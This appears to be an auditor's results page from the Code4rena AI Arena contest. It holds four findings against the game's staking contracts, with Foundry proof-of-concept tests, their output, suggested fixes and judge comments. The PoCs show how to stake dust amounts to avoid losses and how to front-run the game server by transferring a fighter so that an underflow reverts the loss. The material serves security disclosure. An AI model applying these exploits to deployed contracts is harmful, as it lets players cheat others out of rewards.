AI Arena - ubermensch's results

In AI Arena you train an AI character to battle in a platform fighting game. Imagine a cross between Pokรฉmon and Super Smash Bros, but the characters are AIs, and you can train them to learn almost any skill in preparation for battle.

General Information

Platform: Code4rena

Start Date: 09/02/2024

Pot Size: $60,500 USDC

Total HM: 17

Participants: 283

Period: 12 days

Judge:

Id: 328

League: ETH

AI Arena

Findings Distribution

Researcher Performance

Rank: 200/283

Findings: 2

Award: $3.07

๐ŸŒŸ Selected for report: 0

๐Ÿš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L519-L534 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L438-L439

Vulnerability details

Impact

Players exploit the staking logic to have a chance to win an NFT from the merging pool with zero risk.

Proof of Concept

  1. Initiating the Exploit:
    • Players discover that by staking the smallest possible amount of the game's currency (1 wei of NRN), they can engage in the game's battle mechanics with virtually no financial risk. This is made possible due to a safeguard in the _getStakingFactor function that rounds up the staking factor to 1 for any negligeable stake, ensuring players receive a minimum reward multiplier.
    function _getStakingFactor(
        uint256 tokenId, 
        uint256 stakeAtRisk
    ) 
        private 
        view 
        returns (uint256) 
    {
      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
      if (stakingFactor_ == 0) {
        stakingFactor_ = 1;
      }
      return stakingFactor_;
    } 
  1. Allocating Points to Avoid Losses:
    • To circumvent the potential loss of points during defeats, players allocate 100% of their battle points to the merging pool. This strategy ensures that even in the event of a loss, the minimal stake does not significantly diminish, as the game's logic rounds down any deductions from such a small stake to zero.
        /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
  1. Exploiting Wins for Merging Pool Benefits:

    • When players win battles, their allocated points contribute to the merging pool instead of increasing their direct score. This indirect accumulation of benefits allows players to participate in the reward system without risking point loss from future battles. Over time, even with minimal initial investment, players can amass enough points in the merging pool to qualify for NFT rewards, exploiting the system's mechanics.
  2. Scaling the Strategy:

    • The exploit's effectiveness is magnified when applied across multiple fighters controlled by the same player. By replicating this minimal stake and full point allocation strategy, a player can significantly increase their chances of winning NFT rewards across their roster of fighters with minimal aggregate investment.
  3. Systemic Impact:

    • This strategy, particularly when employed en masse by numerous players, could lead to a substantial imbalance in the game's economic system. The intended risk-reward balance is disrupted, as players find a low-risk loophole that allows for potential rewards, diminishing the value and impact of more significant, engaged player investments.

Coded PoC

Output

Ran 1 test for test/RankedBattle.t - Copy .sol:RankedBattleTest
[PASS] testPlayerGainingPointsWhileNotRiskingStake() (gas: 879241)
Logs:
  Stake at risk after the player loss: 0
  Merging points upon player win: 1500
  Merging points upon player loss: 1500

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.86ms

Ran 1 test suite in 2.86ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Note: The PoC can be ran by adding it to the RankedBattle.t.sol file

forge test --match-test "testPlayerGainingPointsWhileNotRiskingStake" -vv

Code

 function testPlayerGainingPointsWhileNotRiskingStake() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);


        // 1. Stake a dust amount.
        vm.prank(player);
        _rankedBattleContract.stakeNRN(1, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId) > 0, true);

        // 2. Player will not loss anything due to rounding error.
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 100, 2, 1500, true);
        assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId), 0);
        console.log("Stake at risk after the player loss: %s",_stakeAtRiskContract.getStakeAtRisk(tokenId));

        // 3. Player gain points upon winning since factor is not 0
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 100, 0, 1500, true);
        uint256 fighterMergingPoints = _mergingPoolContract.getFighterPoints(1)[0];
        assertEq(fighterMergingPoints > 0, true);
        console.log("Merging points upon player win: %s",fighterMergingPoints);

        // 4. Player will not loss points nor stake upon losing.
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 100, 2, 1500, true);
        assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId), 0);
        assertEq(_mergingPoolContract.getFighterPoints(1)[0], fighterMergingPoints);

        console.log("Merging points upon player loss: %s",fighterMergingPoints);
    }

Tools Used

Manual review

Revise Rounding Logic: Reassess and adjust the rounding logic within _getStakingFactor by rounding down towards the users. In addition to that, it is recommended to round up the curStakeAtRisk to prevent dust amounts from bypassing the stake loss.

Assessed type

Math

#0 - c4-pre-sort

2024-02-25T08:39:38Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-25T08:39:57Z

raymondfam marked the issue as duplicate of #38

#2 - c4-judge

2024-03-07T02:58:22Z

HickupHH3 changed the severity to 3 (High Risk)

#3 - c4-judge

2024-03-07T03:52:07Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L253-L255 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L285-L287 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L485-L486 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545

Vulnerability details

Impact

This strategy allows a player to game the system, effectively circumventing intended loss penalties. This creates an unfair advantage and undermines the fairness and integrity of the game, allowing players to game the system for profit.

Proof of Concept

The player can enjoy their wins and prevent any losses by adopting the following strategy:

  1. The player engage in battles until a portion of their stake is at risk (meaning until he loses while having zero points). Following this, they fully unstake their tokens, which unlocks their fighter.
    function unstakeNRN(uint256 amount, uint256 tokenId) external {
        ...
        ...
        ...
        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, false);
            }
            emit Unstaked(msg.sender, amount);
        }
    }

Now the fighter has zero in the amountStaked and some stake at risk stored in the stakeAtRisk in the current round. 2. Now that all of the player's stake is at risk, the system has no way to punish the player for a loss. Therefore, if the player loses nothing will change. Upon winning a battle, the player will manage to get a portion of his stake at risk restored to the amountStaked, the playerโ€™s fighter remains unlocked. This is because the fighter lock status is only updated during the stakeNRN.

    function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
            ...
            ...
            ...
            /// If the user has stake-at-risk for their fighter, reclaim a portion
            /// Reclaiming stake-at-risk puts the NRN back into their staking pool
            if (curStakeAtRisk > 0) {
                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] += curStakeAtRisk;
            }
            ...
            ...
            ...
        }
    }

Now we have a fighter that have some stake and also unlocked which means we are able to transfer it anytime. The player can then wait until the next round and stake as much $NRN as possible at this point without worrying about the fighter getting locked back since that will only happen if his amountStaked is zero which isn't the case.

    function stakeNRN(uint256 amount, uint256 tokenId) external {
        ...
        ...
        ...
        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }
        ...
        ...
        ...
    }
  1. In the next round, once the player manages to win some points and have a non-zero amount in the accumulatedPointsPerFighter he will be able to apply the attack by monitoring the mempool for updateBattleRecord transaction calls coming from the game server. If an impending loss is detected, the player should front-run the server by transferring their fighter to another account that has not participated in the current round, causing an underflow when updating the accumulatedPointsPerAddress (since it will be equal to zero knowing that the new account didn't play in the current round) , thereby causing the transaction to revert, allowing the player to avoid the loss.
    function stakeNRN(uint256 amount, uint256 tokenId) external {
    function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
            ...
            ...
            ...
            if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
                /// If the fighter has a positive point balance for this round, deduct points 
                points = stakingFactor[tokenId] * eloFactor;
                if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
                    points = accumulatedPointsPerFighter[tokenId][roundId];
                }
                accumulatedPointsPerFighter[tokenId][roundId] -= points;
                accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
                totalAccumulatedPoints[roundId] -= points;
            ...
            ...
            ...
    }
  1. After avoiding the loss, the fighter can be transferred back to the original account, ready to be used again in the same manner.

This series of actions exploits weaknesses in the staking and battle record logic, allowing players to bypass the system's intended penalization for losses.

Coded PoC

Output

Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testTransferringStakedFighterUponLost() (gas: 1904696)
Logs:
  Fighter amount staked: 1000000000000, is fighter locked: false
  New staked amount: 3000000001000000000000, is fighter locked: false
  Fighter accumulated points upon win: 40500, fighter staked amount: 3000000001000000000000
  Fighter accumulated points upon loss: 40500, fighter staked amount: 3000000001000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.81ms
 
Ran 1 test suite in 4.81ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Note: The PoC can be ran by adding it to the RankedBattle.t.sol file in addition to importing stdError from forge-std/Test.sol

forge test --match-test "testTransferringStakedFighterUponLost" -vv

Code


    function testTransferringStakedFighterUponLost() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);


        // 1. Stake a dust amount.
        vm.prank(player);
        _rankedBattleContract.stakeNRN(1 * 10 ** 18, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId) > 0, true);

        // 2. Loss 1 fight, and verify that the player have a stake at risk bigger than 0.
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
        assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId) > 0, true);

        // 3. Unstack all remaining NRN tokens, and verify thaty staked amount is 0 and fighter unlocked.
        vm.prank(player);
        _rankedBattleContract.unstakeNRN(1 * 10 ** 18, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId), 0);
        assertTrue(_stakeAtRiskContract.getStakeAtRisk(tokenId) > 0);
        assertFalse(_fighterFarmContract.fighterStaked(tokenId));

        // 4. Continue fighting until player wins one fight and amount staked > 0.
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true);
        assertTrue(_rankedBattleContract.amountStaked(tokenId) > 0);
        assertFalse(_fighterFarmContract.fighterStaked(tokenId));
        console.log("Fighter amount staked: %s, is fighter locked: %s",_rankedBattleContract.amountStaked(tokenId), _fighterFarmContract.fighterStaked(tokenId));

        //Add a second player with a win record to have a winner and a totalAccumulatedPoints[roundId] > 0 so we can move to the next round.
        address player2 = vm.addr(4);
        _mintFromMergingPool(player2);
        uint8 secondTokenId = 1;
        _fundUserWith4kNeuronByTreasury(player2);
        vm.prank(player2);
        _rankedBattleContract.stakeNRN(1_000 * 10 ** 18, secondTokenId);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(secondTokenId, 50, 0, 1500, true);
        _rankedBattleContract.setNewRound();


        //5. Player stakes in new rounds and the fighter always remains unlocked.
        vm.prank(player);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, tokenId);
        assertTrue(_rankedBattleContract.amountStaked(tokenId) > 3_000 * 10 ** 18);
        assertFalse(_fighterFarmContract.fighterStaked(tokenId));
        console.log("New staked amount: %s, is fighter locked: %s",_rankedBattleContract.amountStaked(tokenId), _fighterFarmContract.fighterStaked(tokenId));

        //6. Upon fighter wins the player gain points and upon loses the player transfer the fighter to another address.
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true);
        uint256 fighterPointsAfterWin = _rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1);
        assertTrue(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1) > 0);

        vm.prank(player);
        address playerSecondAddress = vm.addr(5);
        _fighterFarmContract.transferFrom(player,playerSecondAddress,tokenId);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        vm.expectRevert(stdError.arithmeticError);
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
        assertTrue(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1) > 0);
        console.log("Fighter accumulated points upon win: %s, fighter staked amount: %s",_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1), _rankedBattleContract.amountStaked(tokenId));
        //Transfer the fighter back after the underflow exception and repeat step 6.
        vm.prank(playerSecondAddress);
        _fighterFarmContract.transferFrom(playerSecondAddress,player,tokenId);
        uint256 fighterPointsAfterLoss = _rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1);
        assertEq(fighterPointsAfterLoss, fighterPointsAfterWin);
        console.log("Fighter accumulated points upon loss: %s, fighter staked amount: %s",_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1), _rankedBattleContract.amountStaked(tokenId));
    }

Tools Used

Manual Review

Consider making sure the fighter is locked while reclaiming the stake at risk for the fighter.

            /// If the user has stake-at-risk for their fighter, reclaim a portion
            /// Reclaiming stake-at-risk puts the NRN back into their staking pool
            if (curStakeAtRisk > 0) {
                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] += curStakeAtRisk;
+               _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }

Assessed type

Under/Overflow

#0 - c4-pre-sort

2024-02-25T04:03:08Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-25T04:03:18Z

raymondfam marked the issue as duplicate of #1641

#2 - c4-judge

2024-03-12T03:34:04Z

HickupHH3 changed the severity to 2 (Med Risk)

#3 - c4-judge

2024-03-12T04:01:26Z

HickupHH3 changed the severity to 3 (High Risk)

#4 - c4-judge

2024-03-12T04:03:30Z

HickupHH3 changed the severity to 2 (Med Risk)

#5 - c4-judge

2024-03-13T10:45:45Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L253-L255 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L285-L287 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545

Vulnerability details

Impact

Players can exploit staking logic to transfer fighters that should be locked due to staking. This exploit violates the intended security constraint that staked fighters should be locked, breaking the contract's invariant.

Proof of Concept

A player loses a battle, leading to a portion of their stake being at risk. They then fully unstake using the unstakeNRN, unlocks their fighter.

After fully unstaking, any subsequent victory (losses have no effect since all the stake is at risk anyway) that partially restores the at-risk stake back to amountStaked doesn't re-lock the fighter. The player can then add more stake and the lock status update will be bypassed because stakeNRN only considers transitions from zero balance for locking, missing out on scenarios where stakes are restored from at-risk pools as seen in _addResultPoints.

    function stakeNRN(uint256 amount, uint256 tokenId) external {
        ...
        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }
        ...

    }

Output PoC

Running 1 test for test/RankedBattle.t_-_Copy (1).sol:RankedBattleTest
[PASS] testMissfunctionalityOfTheFighterLockingMechanism() (gas: 1757936)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.45ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Coded PoC

    function testMissfunctionalityOfTheFighterLockingMechanism() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);


        // Stake 1k and verify that the player have a staked amount equal to 1k.
        vm.prank(player);
        _rankedBattleContract.stakeNRN(1_000 * 10 ** 18, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId), 1_000 * 10 ** 18);

        // Loss 1 fight, and verify that the player have a stake at risk bigger than 0.
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
        assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId) > 0, true);

        // Unstack all remaining NRN tokens, and verify thaty staked amount is 0 and fighter unlocked.
        vm.prank(player);
        _rankedBattleContract.unstakeNRN(3_000 * 10 ** 18, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId), 0 * 10 ** 18);
        assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId) > 0, true);
        assertEq(_fighterFarmContract.fighterStaked(tokenId), false);

        // Win 1 fight, verify that fighter staked amount bigger than 0 and fighter still unlocked.
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true);
        assertEq(_rankedBattleContract.amountStaked(tokenId) > 0, true);
        assertEq(_fighterFarmContract.fighterStaked(tokenId), false);


        
        //Add a second player with a win record so that totalAccumulatedPoints[roundId] > 0 and set a new round.
        address player2 = vm.addr(4);
        _mintFromMergingPool(player2);
        uint8 secondTokenId = 1;
        _fundUserWith4kNeuronByTreasury(player2);
        vm.prank(player2);
        _rankedBattleContract.stakeNRN(1_000 * 10 ** 18, secondTokenId);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(secondTokenId, 50, 0, 1500, true);
        _rankedBattleContract.setNewRound();


        // Player stakes in new rounds and the fighter always remains unlocked.
        vm.prank(player);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId) > 3_000 * 10 ** 18, true);
        assertEq(_fighterFarmContract.fighterStaked(tokenId), false);

    }

Tools Used

Manual review

Lock the fighter whenever a stake at risk is reclaimed.

            if (curStakeAtRisk > 0) {
                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] += curStakeAtRisk;
+               _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }

Assessed type

Other

#0 - c4-pre-sort

2024-02-24T05:14:05Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-24T05:14:14Z

raymondfam marked the issue as duplicate of #1641

#2 - c4-pre-sort

2024-02-24T05:45:38Z

raymondfam marked the issue as not a duplicate

#3 - c4-pre-sort

2024-02-24T05:45:49Z

raymondfam marked the issue as duplicate of #833

#4 - c4-judge

2024-03-13T11:32:48Z

HickupHH3 marked the issue as duplicate of #1641

#5 - c4-judge

2024-03-14T06:20:29Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L270-L290

Vulnerability details

Impact

Players face an unintended gameplay interruption as their fighter is kept locked when all their stake goes at risk, with the only resolution being a counterintuitive zero-value unstake action that sidelines them for the remainder of the round.

Proof of Concept

  1. Initial Gameplay Scenario:

    • Players engage their fighters in battles, staking NRN tokens The game's mechanics include the risk of losing staked amounts based on battle performances.
  2. Complete Loss of Stake:

    • During a particularly challenging round, a playerโ€™s fighter can lose all its staked NRN tokens, which leaves their fighter locked.
  3. Discovery of Lock Mechanism:

    • The player realizes that the fighter remains locked even after the battle's conclusion, with no automatic mechanism for unlocking at the round's end or the start of a new round. This lock prevents any form transfers on the fighter.
  4. Forced Unstaking for Unlocking:

    • To unlock the fighter, the player must figure out to perform an unstake operation with a value of 0 NRN. This action, while effectively unlocking the fighter, paradoxically disqualifies them from staking again in the current round due to game rules prohibiting staking after unstaking.
  5. Involuntary Downtime:

    • The consequence is a forced waiting period until the next round begins. This downtime is not by player choice but rather an enforced penalty due to the locking mechanism's unintended persistence, significantly detracting from the game's engagement and continuity.
  6. Strategic Implications and Frustration:

    • This situation places players at a strategic disadvantage, unable to leverage their assets effectively and missing out on potential recoveries or strategic plays in the ongoing round. The frustration from this experience could impact player retention and the overall perception of the game's fairness.

Coded Poc

Output

Ran 1 test for test/RankedBattle.t - Copy .sol:RankedBattleTest
[PASS] testFighterRemainsUnlockedAfterLosingAllStake() (gas: 1739133)
Logs:
  Fighter lost all his stake: 0
  Fighter staked amount: 0, fighter locked status: true

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.05ms

Ran 1 test suite in 3.05ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Code

function testFighterRemainsUnlockedAfterLosingAllStake() public {
    address player = vm.addr(3);
    _mintFromMergingPool(player);
    uint8 tokenId = 0;
    _fundUserWith4kNeuronByTreasury(player);

    // We set bpsLostPerLoss to 50% so that we can easily simulate a player that lost all his stake.
    _rankedBattleContract.setBpsLostPerLoss(5000);

    // Stake a dust amount.
    vm.prank(player);
    _rankedBattleContract.stakeNRN(4_000 * 10**8, tokenId);
    assertEq(_rankedBattleContract.amountStaked(tokenId) > 0, true);

    // A losing strick that will put all the fighter stake at risk.
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);

    assertEq(_rankedBattleContract.amountStaked(tokenId), 0);
    assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId), 4_000 * 10**8);
    console.log("Fighter lost all his stake: %s",_rankedBattleContract.amountStaked(tokenId));

    
    // Add a second player with a win record so that totalAccumulatedPoints[roundId] > 0 and set a new round.
    address player2 = vm.addr(4);
    _mintFromMergingPool(player2);
    uint8 secondTokenId = 1;
    _fundUserWith4kNeuronByTreasury(player2);
    vm.prank(player2);
    _rankedBattleContract.stakeNRN(1_000 * 10 ** 18, secondTokenId);
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(secondTokenId, 50, 0, 1500, true);
    _rankedBattleContract.setNewRound();


    // Player try to transfer his fighter
    vm.prank(player);
    uint256 totalStakedAmount = _rankedBattleContract.amountStaked(tokenId) + _stakeAtRiskContract.getStakeAtRisk(tokenId);
    assertEq(totalStakedAmount, 0);
    vm.expectRevert();
    _fighterFarmContract.transferFrom(player, player2, tokenId);
    console.log("Fighter staked amount: %s, fighter locked status: %s",totalStakedAmount,_fighterFarmContract.fighterStaked(tokenId));

    // The player will be forced to call the unstake function with an amount of 0 in order to unlock his fighter, and this will mark the unstaked in round to zero which will prevent the fighter reciepient from participating in the current round.
    vm.prank(player);
    _rankedBattleContract.unstakeNRN(0, tokenId);
    vm.prank(player);
    _fighterFarmContract.transferFrom(player, player2, tokenId);
    assertEq(_rankedBattleContract.hasUnstaked(tokenId, 1), true);
}

Tools Used

Manual review.

Consider unlocking the fighter whenever the staker loses all the stake at risk.

Assessed type

Other

#0 - c4-pre-sort

2024-02-24T05:15:30Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-24T05:17:09Z

raymondfam marked the issue as duplicate of #1641

#2 - c4-pre-sort

2024-02-24T05:37:42Z

raymondfam marked the issue as not a duplicate

#3 - c4-pre-sort

2024-02-24T05:37:53Z

raymondfam marked the issue as duplicate of #833

#4 - raymondfam

2024-02-24T05:41:41Z

Just keep playing before the round ends trying to win and reclaim some stakeatrisk NRN risk free.

#5 - c4-judge

2024-03-13T11:32:49Z

HickupHH3 marked the issue as duplicate of #1641

#6 - c4-judge

2024-03-14T06:19:10Z

HickupHH3 marked the issue as partial-25

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax ยฉ 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter